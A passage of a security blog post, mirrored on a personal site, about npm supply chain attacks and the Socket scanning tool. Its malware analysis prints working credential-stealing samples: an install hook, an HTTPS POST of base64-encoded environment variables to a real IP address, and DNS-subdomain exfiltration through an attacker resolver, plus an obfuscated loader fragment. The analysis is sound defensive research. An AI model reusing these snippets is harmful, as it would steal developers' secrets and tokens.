  347. +-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x7d6</span>,<span class="hljs-number">0x65e</span>,<span class="hljs-number">0x7e5</span>,<span class="hljs-string">'tOk*'</span>,<span class="hljs-number">0x729</span>))/(<span class="hljs-number">0xc7d</span>+<span class="hljs-number">0x7cc</span>*-<span class="hljs-number">0x1</span>+<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x4ac</span>)
  348. +-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x544</span>,<span class="hljs-number">0x602</span>,<span class="hljs-string">'!qJ9'</span>,<span class="hljs-number">0x565</span>,<span class="hljs-number">0x6c2</span>))/(-<span class="hljs-number">0x120e</span>+<span class="hljs-number">0x1b1</span>*-<span class="hljs-number">0x17</span>+<span class="hljs-number">0x1f7</span>*<span class="hljs-number">0x1d</span>)
  349. +<span class="hljs-built_in">parseInt</span>(_0xfe08c3(<span class="hljs-number">0x359</span>,<span class="hljs-number">0x28a</span>,<span class="hljs-string">'igej'</span>,<span class="hljs-number">0x404</span>,<span class="hljs-number">0x3e9</span>))/(<span class="hljs-number">0x163</span>*-<span class="hljs-number">0x8</span>+<span class="hljs-number">0x345</span>+<span class="hljs-number">0x192</span>*<span class="hljs-number">0x5</span>)
  350. +-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x40f</span>,<span class="hljs-number">0x519</span>,<span class="hljs-string">'<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0223423532">[email protected]</a>'</span>,<span class="hljs-number">0x4f5</span>,<span class="hljs-number">0x5a2</span>))/(<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x977</span>+-<span class="hljs-number">0x15a</span>+<span class="hljs-number">0xad9</span>);
  351. <span class="hljs-keyword">if</span>(_0xe15807===_0x2b8f5b)<span class="hljs-keyword">break</span>;<span class="hljs-keyword">else</span> _0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}
  352. <span class="hljs-keyword">catch</span>(_0xdc6a7c){_0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}}}(_0x6450,-<span class="hljs-number">0x4f0c0</span>+
  353. <span class="hljs-number">0x260b</span>+<span class="hljs-number">0x29</span>*<span class="hljs-number">0x4445</span>));<span class="hljs-keyword">const</span> _0x206d7b=(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x2debc5</span>(<span class="hljs-params">_0x482afc,
  354. _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x18ac59- -<span class="hljs-number">0x3d1</span>,_0x17d73a);}
  355. ...
  356. </code></pre>
  357. <p>I can tell you that even without knowing exactly what this code is
  358. doing, you can bet this is not something that you want to run on your machine.</p>
  359. <h2>2. Dependency confusion</h2>
  360. <p>This attack vector is pretty closely related to typosquatting. Dependency
  361. confusion happens when a company publishes packages to an internal npm registry
  362. and uses a name that hasn't yet been registered on the public npm registry.
  363. Later, an attacker can come along and register the available package. Now
  364. there's a private legitimate package and a public malware package, both with the
  365. same name.</p>
  366. <p>Many internal tools are poorly-written and they may prefer to install the public version
  367. of the package instead of the private one, which means that the attacker's code will be installed.</p>
  368. <p>Looking through the <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">recently removed npm packages</a>, we were able to find dozens of likely dependency confusion attacks, where package names appear to conflict with internal company package names. Major corporations, US federal agencies, and US government contractors were all affected.</p>
  369. <ul>
  370. <li>Yahoo
  371. </li>
  372. <li>EURid (registry manager for EU)
  373. </li>
  374. <li>18F (US Federal agency)
  375. </li>
  376. <li>Unity (game engine)
  377. </li>
  378. <li>Palantir (government contractor)
  379. </li>
  380. <li>DuckDuckGo (search engine)
  381. </li>
  382. <li>Shippo (shipping company)
  383. </li>
  384. <li>GrubHub (food delivery company)
  385. </li>
  386. <li>Wix (website builder)
  387. </li>
  388. </ul>
  389. <p>How were attackers able to figure out these private package names? There are many possible ways, but it's worth noting that npm itself was <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://www.bleepingcomputer.com/news/security/npm-fixes-private-package-names-leak-serious-authorization-bug/">leaking a subset of private package names<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> for several weeks which didn't help the problem.</p>
  390. <h2>3. Hijacked packages</h2>
  391. <p>The third vector that we see a lot is hijacked packages. These are the ones that
  392. you've probably seen in the news every few weeks.</p>
  393. <p>Criminals and miscreants find ways to infiltrate our communities and and infect
  394. popular packages. Once they get control of a package and they can publish to it,
  395. they'll steal credentials or install backdoors or abuse compute resources for
  396. cryptocurrency mining.</p>
  397. <p>This type of attack happens for various reasons:</p>
  398. <ul>
  399. <li>Maintainers choose weak passwords</li>
  400. <li>Maintainers reuse passwords</li>
  401. <li>Maintainers get malware on their laptops</li>
  402. <li>npm doesn't enforce 2FA for all accounts (though they've started to enforce this for top accounts)</li>
  403. <li>Maintainers give access to malicious actors</li>
  404. </ul>
  405. <p>Overworked maintainers are particularly susceptible to this type of attack. When
  406. someone offers a helping hand to a burned out maintainer, it's sometimes hard
  407. for them to say no.</p>
  408. <h2>4. Install scripts</h2>
  409. <p>As we mentioned before, install scripts are a huge vector. An install script
  410. allows a package to automatically run code upon package installation.</p>
  411. <p>Most npm malware uses install scripts. In fact, 56% of malicious packages start their routines on installation.</p>
  412. <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Most malicious packages (56%) start their routines on installation, which
  413. might be due to poor handling of arbitrary code during install</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
  414. <p>npm allows packages to run code during the installation process. Unfortunately, install scripts do have some legitimate uses, so we can't just remove this feature from npm without breaking the ecosystem. It's not an easy problem to solve.</p>
  415. <h2>5. Permission creep (shell, network, filesystem, environment vars)</h2>
  416. <p>Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.</p>
  417. <p>Privileged APIs are used in most malware because attackers usually want to steal some secrets, download an executable payload, or run some shell scripts.</p>
  418. <p>Though legitimate packages do sometimes introduce privileged APIs in later package versions, this signal is often a telltale sign of malware, especially when these APIs are introduced in a patch version. Attackers like to publish their malware in a patch version to maximize the number of potential victims who will install it through loose semver ranges.</p>
  419. <p>Let's look at an example of a malicious package that uses privileged APIs:</p>
  420. <h3><code>package.json</code></h3>
  421. <pre><code class="hljs language-json">{
  422. <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;redacted&gt;"</span>,
  423. <span class="hljs-attr">"version"</span>: <span class="hljs-string">"9998.9999.2"</span>,
  424. <span class="hljs-attr">"description"</span>: <span class="hljs-string">"..."</span>,
  425. <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  426. <span class="hljs-attr">"scripts"</span>: {
  427. <span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span>,
  428. <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node dns.js | node index.js | node specific-fields.js"</span>
  429. },
  430. <span class="hljs-attr">"files"</span>: [<span class="hljs-string">"specific-fields.js"</span>, <span class="hljs-string">"index.js"</span>, <span class="hljs-string">"dns.js"</span>],
  431. <span class="hljs-attr">"author"</span>: <span class="hljs-string">""</span>,
  432. <span class="hljs-attr">"license"</span>: <span class="hljs-string">"ISC"</span>
  433. }
  434. </code></pre>
  435. <p>Again this is a standard install script attack vector. But it runs a few
  436. different payloads, each using a different technique.</p>
  437. <p>Let's look at the first:</p>
  438. <h3><code>http.js</code></h3>
  439. <pre><code class="hljs language-js"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>)
  440. req = http
  441. .request({
  442. <span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>,
  443. <span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>,
  444. <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
  445. <span class="hljs-attr">headers</span>: {
  446. <span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>,
  447. <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
  448. AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span>
  449. }
  450. })
  451. .on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})
  452. req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>))
  453. req.end()
  454. </code></pre>
  455. <p>You can see that the malware collects the environment variables via
  456. <code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP
  457. address.</p>
  458. <p>But this malware also uses a backup exfiltration technique:</p>
  459. <h3><code>dns.js</code></h3>
  460. <pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>)
  461. <span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>)
  462. <span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver()
  463. <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{
  464. <span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>)
  465. <span class="hljs-keyword">return</span> string.match(re)
  466. }
  467. resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>])
  468. <span class="hljs-keyword">var</span> d = process.env || {}
  469. <span class="hljs-keyword">var</span> data = redactedForBrevity()
  470. <span class="hljs-keyword">var</span> encData = zlib
  471. .brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data)))
  472. .toString(<span class="hljs-string">'hex'</span>)
  473. <span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>)
  474. <span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now()
  475. <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; ch.length; i++) {
  476. <span class="hljs-keyword">const</span> domain = [<span class="hljs-string">'l'</span> + dt, i + <span class="hljs-number">1</span>, ch.length, ch[i]].join(<span class="hljs-string">'.'</span>)
  477. resolver.resolve4(domain, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})
  478. }
  479. </code></pre>
  480. <p>In addition to HTTP, it uses DNS to send the data to the attacker. This is
  481. useful when an firewall is present since these often don't block DNS lookups.</p>
  482. <p>To pull this off, the attacker uses a custom DNS resolver and puts the
  483. environment variables they're stealing into a subdomain.</p>
  484. <p>And finally, our last attack technique...</p>
  485. <h2>6. Obfuscation</h2>
  486. <p>We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, although we have techniques to detect obfuscation and we use that as a strong negative signal.</p>
  487. <p>Another type of obfuscation is when attackers publish different code to npm than
  488. they publish on GitHub. When they do that, npm doesn't make it easy to see what
  489. code is actually in the npm package, and so a lot of people who are trying to
  490. evaluate a package will rely on the version of the code that's on GitHub.
  491. There's no guarantee that the code on GitHub is the same as the code on npm.</p>
  492. <p>Now let's talk about how you can protect your app.</p>
  493. <h2>How can you protect your app from supply chain attacks?</h2>
  494. <p>We asked ourselves this question when we were working on
  495. <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app">Wormhole<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>, which lets you share files with end-to-end
  496. encryption. Our goal was to make Wormhole the best way to send files, combining the usability of a web app with <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app/security">best-in-class security<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>.</p>
  497. <p><a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app"></a></p>
  498. <p>As the frequency of npm supply chain attacks increased throughout 2021, we became concerned about the safety of our dependencies.</p>
  499. <p>We realized we needed to improve the way we vet our open source dependencies or else we would be leaving our user's security and privacy to chance. We didn't feel comfortable telling people to trust our service with their most precious data when malware could be lurking in any dependency update.</p>
  500. <p>We started thinking carefully about this problem space and started building
  501. solutions. Here are some of the things we did, and what you can do too:</p>
  502. <h2>1. Change the way you think about dependencies</h2>
  503. <p>As an industry, we need a mindset shift around the way we use dependencies. Too
  504. many developers assume they can just install open source code from the internet
  505. and, barring bugs, it will always do what it says on the tin. Unfortunately, as
  506. we've seen, this just isn't true.</p>
  507. <p>Open source is like an all-you-can-eat buffet – no one will stop you from
  508. scooping an unlimited number of dependencies onto your plate. Of course, like a
  509. buffet, there are health consequences to overindulging. You take a small hit
  510. with each dependency you install.</p>
  511. <p>If you're shipping code to production that includes open source code, then you must treat the open source code as part of your app. You are ultimately responsible for the behavior of that code.</p>
  512. <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>You are responsbile for the code that you ship to production, whether you
  513. wrote it or it comes from open source.</p></aside></div></div>
  514. <p>The most popular open source license, the MIT license, actually literally says
  515. this:</p>
  516. <blockquote>
  517. <p><strong>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED</strong>, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. <strong>IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY</strong>, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
  518. </blockquote>
  519. <p>Most developers don't think of open source this, way but it's actually how it works.</p>
  520. <h2>2. Dig deeper than the README</h2>
  521. <p>Many developers rely on heuristics to determine if a package is good:</p>
  522. <ul>
  523. <li>✅ Does it get the job done?</li>
  524. <li>✅ Does it have good docs?</li>
  525. <li>✅ Does it have lots of downloads and GitHub stars?</li>
  526. <li>✅ Does it have recent commits?</li>
  527. <li>✅ Does it have tests? Types?</li>
  528. </ul>
  529. <p>Checking for these things is good, but it's not enough to stop supply chain
  530. attacks. To stop attacks, you must dig deeper.</p>
  531. <p>We built a tool called <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a> to help you do this.</p>
  532. <p>We built Socket to look for the markers present in the recent npm supply chain
  533. attacks (as discussed above). Unlike other tools such as Snyk or Dependabot,
  534. Socket analyzes the actual <strong>behavior</strong> of a package instead of relying on stale
  535. data from a known vulnerability (CVE) database. This way, we can detect and
  536. block attacks before they've been discovered by the community.</p>
  537. <p>You can use Socket to quickly evaluate the security of a package:</p>
  538. <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"></a></p>
  539. <p>In this example, you can see that <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"><code>bufferutil</code></a>
  540. contains install scripts. It's called out prominently at the top of the page,
  541. along with a link to the exact code that will run when you run <code>npm install bufferutil</code>.
  542. In this instance, <code>bufferutil</code>'s use of install scripts is legitimate, but it's
  543. nice to be able to know <em>before</em> you run <code>npm install bufferutil</code> that code will
  544. be immedately executed, as well as what that code will do, so that you can make an informed decision about whether to proceed.</p>
  545. <p>You'll also notice helpful Package Health scores at the top of the page.</p>
  546. <p>Now let's take a look at another example:</p>
  547. <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar"></a></p>
  548. <p>The package <code>angular-calendar</code> is quite a useful package. It's a calendar
  549. web component that renders a little calendar widget.</p>
  550. <p>But, if you dig into its dependencies, you'll actually find that some of them have behavior that is potentially concerning:</p>
  551. <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar/issues"></a></p>
  552. <p>You can see here that one of <code>angular-calendar</code>'s dependencies contains install scripts, runs shell scripts, accesses the file system, and accesses the network.</p>
  553. <p>This is probably not something that you would expect a web component to be doing, and so it may be worth some further investigation to figure out what's going on
  554. here before you use this package.</p>
  555. <p>Fortunately, Socket makes it easy to see which code is triggering a security issue. Just click any issue to jump straight to the line of code that is causing the issue.</p>
  556. <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/@scarf/scarf/files/1.1.1/report.js"></a></p>
  557. <p>In this example, you can see the exact line of code where this package accesses the network, the shell, the filesystem, environment variables, and more.</p>
  558. <p>Socket makes it easy to get an idea of what a package will do <em>before you install it</em>.</p>
  559. <p>If you want to research packages on Socket to make an informed decision before
  560. you install them, you can do that by visiting <a class="chakra-link css-f4h6uy" href="https://socket.dev/">socket.dev</a>.
  561. Pro-tip: you can use our handy shortcut and just visit
  562. <code>socket.dev/&lt;package-name&gt;</code> to go straight to a package page. For example, try
  563. <a class="chakra-link css-f4h6uy" href="https://socket.dev/fastify">socket.dev/fastify</a>.</p>
  564. <h2>3. Update your dependencies at the right cadence</h2>
  565. <p>How quickly should you update your dependencies? This is a question that a lot of teams, including our own, struggled with.</p>
  566. <p>Should you err on the side of updating slowly or quickly?</p>
  567. <p>If you <strong>update slowly</strong> you're exposed to <strong>known vulnerabilities</strong> and you're running code that's old and may have bugs that have been fixed in a newer version. Not only that, if a security vulnerability is discovered in the future, being on a super old version will make it harder to update to take the security fix.</p>
  568. <p>On the other hand, if you <strong>update quickly</strong> you expose yourself to <strong>supply chain attacks</strong> because you're now running code that may have been published <em>literally hours ago</em> which means that very few, if any, eyeballs have had a chance to look at the code.</p>
  569. <p>This is a hard tradeoff to balance. Different teams will make different decisions.</p>
  570. <p>However, you can use Socket to help. With the Socket
  571. <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, you can accept most dependency updates quickly –
  572. those where the package's capabilities have not changed – while reserving time
  573. to review more significant updates. This way you can spend your limited team
  574. resources auditing the highest-impact dependency updates, instead of choosing an
  575. all-or-nothing approach.</p>
  576. <blockquote>
  577. <p>Socket is in beta. This GitHub App currently supports typosquat detection
  578. only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
  579. GitHub App by end of March.</p>
  580. </blockquote>
  581. <h2>4. Audit your dependencies</h2>
  582. <p>How closely should you audit a dependency before allowing it into your app?</p>
  583. <p>One option is to do a <strong>full audit</strong> – literally read every line of code in
  584. every dependency. Google is known to do a full audit and then to vendor their
  585. open source dependencies. This is great for preventing supply chain attacks but
  586. it takes a full-time team to manage this – the audits, the updates, the
  587. allowlist, applying critical security patches – and even still, Google is
  588. usually several major versions behind for most libraries. This approach is out
  589. of reach for all but the largest companies or the most security-critical
  590. applications (e.g. crypto wallets). It's lots of work, it's slow, it's
  591. expensive.</p>
  592. <p>On the other hand, <strong>doing nothing</strong> is also an option – and it's the one that
  593. most teams take. On most teams, any developer can install any dependency they
  594. want to get the job done. Most of the time, no one on the team even looks at the
  595. code in these dependencies before approving the pull request. As you might
  596. expect, this approach leaves you completely vulnerable to supply chain attacks,
  597. it's risky, and it can be expensive, albeit in the form of breaches, bad press,
  598. and government fines.</p>
  599. <p>Without tooling, this is a hard tradeoff to manage, which explains why most teams just do nothing.</p>
  600. <p>However, Socket can help here too. With the Socket <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>,
  601. you can accept most dependency updates without auditing the code – especially if
  602. there are no issues detected by Socket – while reserving time to review packages
  603. which have risky behavior such as using <code>eval()</code>, or that contain obscuted code.
  604. Socket helps you spend your limited team resources auditing the highest-impact
  605. dependency updates, instead of choosing an all-or-nothing approach.</p>
  606. <blockquote>
  607. <p>Socket is in beta. This GitHub App currently supports typosquat detection
  608. only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
  609. GitHub App by end of March.</p>
  610. </blockquote>
  611. <h2>Find the happy medium with Socket</h2>
  612. <p>You don't need to throw your hands up in exasperation and do nothing about supply chain risk. We built Socket to be the antidote to an all-or-nothing approach.</p>
  613. <p>With the Socket approach:</p>
  614. <ul>
  615. <li>Use automation to automatically evaluate all dependencies</li>
  616. <li>Detect and block attacks such as malware, hidden code, typo-squatting, etc.</li>
  617. <li>Have humans manually audit suspicious packages (i.e. new capabilities added)</li>
  618. <li>Provide security information directly in pull request comments</li>
  619. </ul>
  620. <h2>How to use Socket today</h2>
  621. <p>You can install Socket as a <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>. It will automatically evaluate all changes to <code>package.json</code> and other “package manifest” files such as <code>package-lock.json</code> and <code>yarn.lock</code>. Whenever a new dependency is added in a pull request, Socket will evaluate it and leave a comment indicating if it is a security risk.</p>
  622. <p>For example, say that you accidentally installed <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> instead of <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserslist"><code>browserslist</code></a>, a very easy mistake to make. Socket will detect this and leave a comment in the pull request:</p>
  623. <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations"></a></p>
  624. <p>With the Socket GitHub App in place, the developer who opened the pull request
  625. (or the developer reviewing it) will have their attention drawn to this
  626. typosquat issue. Socket doesn't get in the way, but it does augment your review
  627. process.</p>
  628. <p>Before we started building Socket, I
  629. <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://github.com/preactjs/preact-cli/pull/1576">found this exact typosquat issue<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> in the popular <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/preact"><code>preact</code></a> package. It's an easy mistake to
  630. make, and that's probably why <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a>
  631. continues to be downloaded 15,000 times each week.</p>
  632. <p>This particular example with <code>browserlist</code> is not unique. There are hundreds of
  633. thousands of npm packages within 1-2 characters of each other, so this is a very
  634. easy mistake to make. Typosquatting is one of the most common supply chain
  635. attack vectors.</p>
  636. <p>Socket has <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">60 detections</a> in five different categories – supply
  637. chain risk, quality, maintenance, known vulnerabilities, and license. Each of
  638. these issues won't immediately trigger an alert. Rather, we use each of these
  639. issues as one signal into supply chain risk formula that determines whether we
  640. will raise an issue to your attention. Socket aims to only raises high signal
  641. issues that are worth your precious time and attention.</p>
  642. <p>If you decide to <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">install the Socket GitHub App</a>, we're eager for
  643. your feedback. Please join our Discord (link in the footer) or <a class="chakra-link css-f4h6uy" href="https://socket.dev/contact">send us an email</a>.</p>
  644. <blockquote>
  645. <p>Socket is in beta. This GitHub App currently supports typosquat detection only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the GitHub App by end of March.</p>
  646. </blockquote>
  647. <h2>How much will Socket cost?</h2>
  648. <p>Open source package search with Socket Package Health Scores are <strong>free to
  649. everyone</strong> on our website, <a class="chakra-link css-f4h6uy" href="https://socket.dev/">https://socket.dev</a>.</p>
  650. <p>Socket integrations, such as the <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, are <strong>free for open source repositories, forever</strong>. For private repositories, Socket is free while we're in beta. We're still working out pricing; we're aiming to keep it affordable so every team can get protected.</p>
  651. <h2>We can improve supply chain security, together!</h2>
  652. <p>The open source ecosystem faces an unprecedented supply chain security threat but all hope is not lost. As developers, we can take responsibility for our software supply chain and help make the world a safer place.</p>
  653. <p>P.S. We're hiring at Socket! Check out our <a class="chakra-link css-f4h6uy" href="https://socket.dev/jobs">jobs page</a> if you're
  654. interested in working to secure the software supply chain.</p>
  655. </article>
  656. <hr>
  657. <footer>
  658. <p>
  659. <a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home">
  660. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use>
  661. </svg> Accueil</a> •
  662. <a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2">
  663. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use>
  664. </svg> Suivre</a> •
  665. <a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie">
  666. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use>
  667. </svg> Pro</a> •
  668. <a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail">
  669. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use>
  670. </svg> Email</a> •
  671. <abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2">
  672. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use>
  673. </svg> Légal</abbr>
  674. </p>
  675. <template id="theme-selector">
  676. <form>
  677. <fieldset>
  678. <legend><svg class="icon icon-brightness-contrast">
  679. <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use>
  680. </svg> Thème</legend>
  681. <label>
  682. <input type="radio" value="auto" name="chosen-color-scheme" checked> Auto
  683. </label>
  684. <label>
  685. <input type="radio" value="dark" name="chosen-color-scheme"> Foncé
  686. </label>
  687. <label>
  688. <input type="radio" value="light" name="chosen-color-scheme"> Clair
  689. </label>
  690. </fieldset>
  691. </form>
  692. </template>
  693. </footer>
  694. <script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script>
  695. <script>
  696. function loadThemeForm(templateName) {
  697. const themeSelectorTemplate = document.querySelector(templateName)
  698. const form = themeSelectorTemplate.content.firstElementChild
  699. themeSelectorTemplate.replaceWith(form)
  700. form.addEventListener('change', (e) => {
  701. const chosenColorScheme = e.target.value
  702. localStorage.setItem('theme', chosenColorScheme)
  703. toggleTheme(chosenColorScheme)
  704. })
  705. const selectedTheme = localStorage.getItem('theme')
  706. if (selectedTheme && selectedTheme !== 'undefined') {
  707. form.querySelector(`[value="${selectedTheme}"]`).checked = true
  708. }
  709. }
  710. const prefersColorSchemeDark = '(prefers-color-scheme: dark)'
  711. window.addEventListener('load', () => {
  712. let hasDarkRules = false
  713. for (const styleSheet of Array.from(document.styleSheets)) {
  714. let mediaRules = []
  715. for (const cssRule of styleSheet.cssRules) {
  716. if (cssRule.type !== CSSRule.MEDIA_RULE) {
  717. continue
  718. }
  719. // WARNING: Safari does not have/supports `conditionText`.
  720. if (cssRule.conditionText) {
  721. if (cssRule.conditionText !== prefersColorSchemeDark) {
  722. continue
  723. }
  724. } else {
  725. if (cssRule.cssText.startsWith(prefersColorSchemeDark)) {
  726. continue
  727. }
  728. }
  729. mediaRules = mediaRules.concat(Array.from(cssRule.cssRules))
  730. }
  731. // WARNING: do not try to insert a Rule to a styleSheet you are
  732. // currently iterating on, otherwise the browser will be stuck
  733. // in a infinite loop…
  734. for (const mediaRule of mediaRules) {
  735. styleSheet.insertRule(mediaRule.cssText)
  736. hasDarkRules = true
  737. }
  738. }
  739. if (hasDarkRules) {
  740. loadThemeForm('#theme-selector')
  741. }
  742. })
  743. </script>
  744. </body>
  745. </html>